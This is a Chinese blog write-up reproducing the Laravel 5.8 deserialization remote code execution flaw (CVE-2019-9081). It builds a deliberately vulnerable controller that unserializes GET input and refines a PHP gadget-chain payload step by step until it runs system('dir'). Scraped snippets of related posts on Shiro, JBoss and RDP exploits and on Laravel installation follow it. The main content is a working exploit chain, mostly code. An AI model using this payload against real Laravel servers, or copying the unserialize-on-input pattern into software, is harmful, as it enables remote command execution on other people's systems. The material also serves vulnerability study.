Laravel v5.8 反序列化rce (CVE-2019-9081) 复现

Laravel是一款比较流行的优秀php开发框架,本身也比较重,通过这个框架来接触大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的。在学习了几天Laravel开发以后,我尝试复现了一下CVE-2019-9081,整体过程和原作者还是有些区别的,原作者思维比较跳跃的地方,我按自己的思维尝试摸索,有错误之处欢迎斧正。

环境搭建

使用composer+PhpStorm+xampp的方式配置laravel
首先下载composer,安装完成之后配置国内镜像源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
使用PhpStorm直接在xampp/htdocs下创建composer项目

访问public目录出现如下界面表示Laravel配置成功

接下来创建控制器
php artisan make:controller DemoController
配置路由

Route::get('/demo', '\App\Http\Controllers\[email protected]');

控制器

class DemoController extends Controller
{
    public function demo()
    {
        if (isset($_GET['c'])) {
            $code = $_GET['c'];
            unserialize($code);
        } else {
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

访问public/demo

pop链入口

Laravel v5.7相较Laravel v5.6在vendor/laravel/framework/src/Illuminate/Foundation/Testing下新增了PendingCommand.php,其中有PendingCommand类,它的__destruct方法是这样的

跟进run方法,在run方法的头顶,赫然写着Execute the command

一大堆东西,其中$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);看起来有可能是执行命令的函数,前面会经过很多代码,这时候不如debug跟一下

初探run

这时候先随便构造个payload

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace{
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', 'dir');
    echo urlencode(serialize($a));
}

传进去,断点断下来,单步

hasExecuted默认是false,直接往下走,进到run

有个mockConsoleOutput(),跟进去

第一句直接报错了,看一下laravel的报错

原来是我们$parameters类型问题,改成数组

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace{
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir']);
    echo urlencode(serialize($a));
}

重来还是报错,这次是第一句里面的createABufferedOutputMock()

这时候$this->testnull,这个属性是可控的。全局搜索$expectedQuestions,找找有没有可用的类,发现只有一个trait,没法实例化。

__call续接pop链

取属性取不到怎么办?答案是找__call。这一步比较自由,原作者用的是Illuminate\Auth\GenericUser,我找的是Faker\DefaultGenerator$default完全可控

这时候再修改一下payload

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $test;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace{
    $b = new Faker\DefaultGenerator(['0'=>'1']);
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b);
    echo urlencode(serialize($a));
}

然后我们就可以顺利通过createABufferedOutputMock()。回到mockConsoleOutput(),接下来的foreach和刚刚的一样,顺利通过。

走出mockConsoleOutput

终于马上可以出这个方法,但是再一次报错

$this->app->bind(OutputStyle::class, function () use ($mock) {
    return $mock;
});

这次是因为$this->appnull。去前面看app是个什么

然而找了半天没找到这么个Application类,去文档搜索有bind()方法的类

Illuminate\Container\Container就你了,那么现在的payload是

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $test;
            $this->app = $app;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Container{
    class Container{
    }
}
namespace{

    $c = new Illuminate\Container\Container();
    $b = new Faker\DefaultGenerator(['0'=>'1']);
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b, $c);
    echo urlencode(serialize($a));
}

总算是走出了mockConsoleOutput,回到run

代码执行

终于走到疑似代码执行的地方

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

这才发现app是有要求的,看一下Kernel::class好像是个固定值,跟着走,发现下图左下调用栈,这时候我们的目的是让代码走通就行,所以只管往下走就行。

一直调用到isBuildable()除了问题,

往里走到build

$reflector->isInstantiable()那里过不了,借助反射类看一下,原来Illuminate\Contracts\Console\Kernel是个接口,正好getConcrete()中,我们可以找到任意一个有$binding属性的类来实例化的。

正好,我们之前用的Illuminate\Container\Container就满足这个条件,由于我们已知$abstract变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Container\Container的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,这时候payload如下

<?php

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct($command, $parameters, $test, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $test;
            $this->app = $app;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Container{
    class Container{
        protected $bindings = [];
        public function __construct($bindings)
        {
            $this->bindings = $bindings;
        }
    }
}
namespace{

    $c = new Illuminate\Container\Container(['Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Container\Container']]);
    $b = new Faker\DefaultGenerator(['0'=>'1']);
    $a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b, $c);
    echo urlencode(serialize($a));
}

这时候isBuildable()我们第一遍是过不去的

但是进入make()以后,第二遍循环时$concrete$abstract已经都是Illuminate\Container\Container了,注意左下的调用栈

成功实例化类,最后逐层返回我们创建的对象。最后我们可以知道通过我们传入的payload,$this->app[Kernel::class]最终返回的内容就是我们创建的Illuminate\Container\Container类的对象

最后call的庐山真面目

成功执行call_user_func_array(‘system‘,array(‘dir‘))

参考链接

CVE原作者博客 laravelv5.7反序列化rce(CVE-2019-9081)

原文地址:https://www.cnblogs.com/20175211lyz/p/12343980.html

时间: 2024-10-08 10:33:21

Laravel v5.8 反序列化rce (CVE-2019-9081) 复现的相关文章

Apache Shiro 反序列化RCE漏洞

漏洞介绍 漏洞类型 :JAVA反序列化(RCE) 影响版本 :Apache Shiro 1.2.4及其之前版本 漏洞评级 :高危 漏洞分析 #: 下载漏洞环境: git clone https://github.com/apache/shiro.git git checkout shiro-root-1.2.4 工具下载 git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

影响版本: Apache Shiro <= 1.2.4 原因分析: Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 >  Base64解码–>AES解密–>反序列化.然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞. 环境搭建: 安装docker环境,方法自行百度. 下载镜像 docker pull medicean/vulapps:s_shir

6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现

2017 年 9 月 14 日,国家信息安全漏洞共享平台( CNVD )收录了 JBOSS Application Server 反序列化命令执行漏洞( CNVD-2017-33724,对应 CVE-2017-12149 ),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码. 漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大. 0x01. 漏洞复现 1). 环境准备 JBOSS 下载地址:http://download.jboss.org/jbossas

PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现

前言 最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了  今天12点多断网刷了会手机陪家人取超市 看到小区门口都挺严格的进出要身份证 去超市还要测体温.之后回来睡觉到6点起来家里做了火锅hhhhh  吃了之后继续学习序列化漏洞emmmm 等会又该睡觉了 一天又结束了! 预备知识 https://www.cnblogs.com/xhds/p/12233720.html PHP反序列

CVE 2019-0708漏洞复现防御修复

CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发起拒绝服务攻击等等攻击行为.而更加严重的是,这个漏洞的触发无需用户交互,攻击者可以用该漏洞制作堪比2017年席卷全球的WannaCry类蠕虫病毒,从而进行大规模传播和破坏. 就在今天微软官方发布了exp 影响范围 Windows 7 Windows Server 2008 R2 Windows Se

在 Windows 上快速安装并运行 Laravel 5.x

安装 PHP 注意一:Laravel 5.0 开始对 PHP 版本的要求是 >=5.4,Laravel 5.1 要求 PHP 版本>=5.5.9,所以,建议大家尽量安装 5.5.x 的最新版本,写此文章时,最新版本是5.5.27. 注意二:PHP 5.4 是最后一个支持 Windows XP 和 Windows 2003 的版本了,所以,建议大家远离 XP 吧.参见:http://windows.php.net/ 下载并设置 PHP 进入 http://windows.php.net/down

laravel 入门

Laravel5.0学习--01 入门 本文以laravel5.0.22为例. 生产环境建议使用laravel5.1版本,因为该版本是长期支持版本.5.1文档更详细:http://laravel-china.org/docs/5.1. 环境需求 Laravel5.0 框架有一些系统上的需求: PHP 版本 >= 5.4 Mcrypt PHP 扩展 OpenSSL PHP 扩展 Mbstring PHP 扩展 Tokenizer PHP 扩展 在 PHP 5.5 之后, 有些操作系统需要手动安装

Laravel 5.2 INSTALL- node&#39;s npm and ruby&#39;s bundler.

https://getcomposer.org/doc/00-intro.md Introduction# Composer is a tool for dependency management in PHP. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you. Dependency management# Compose

laravel 在windows中使用一键安装包步骤

安装 PHP 注意一:Laravel 5.0 开始对 PHP 版本的要求是 >=5.4,Laravel 5.1 要求 PHP 版本 >=5.5.9,所以,建议大家尽量安装 5.5.x 的最新版本,写此文章时,最新版本是 5.5.27. 注意二:PHP 5.4 是最后一个支持 Windows XP 和 Windows 2003 的版本了,所以,建议大家远离 XP 吧.参见:http://windows.php.net/ 下载并设置 PHP 进入 http://windows.php.net/do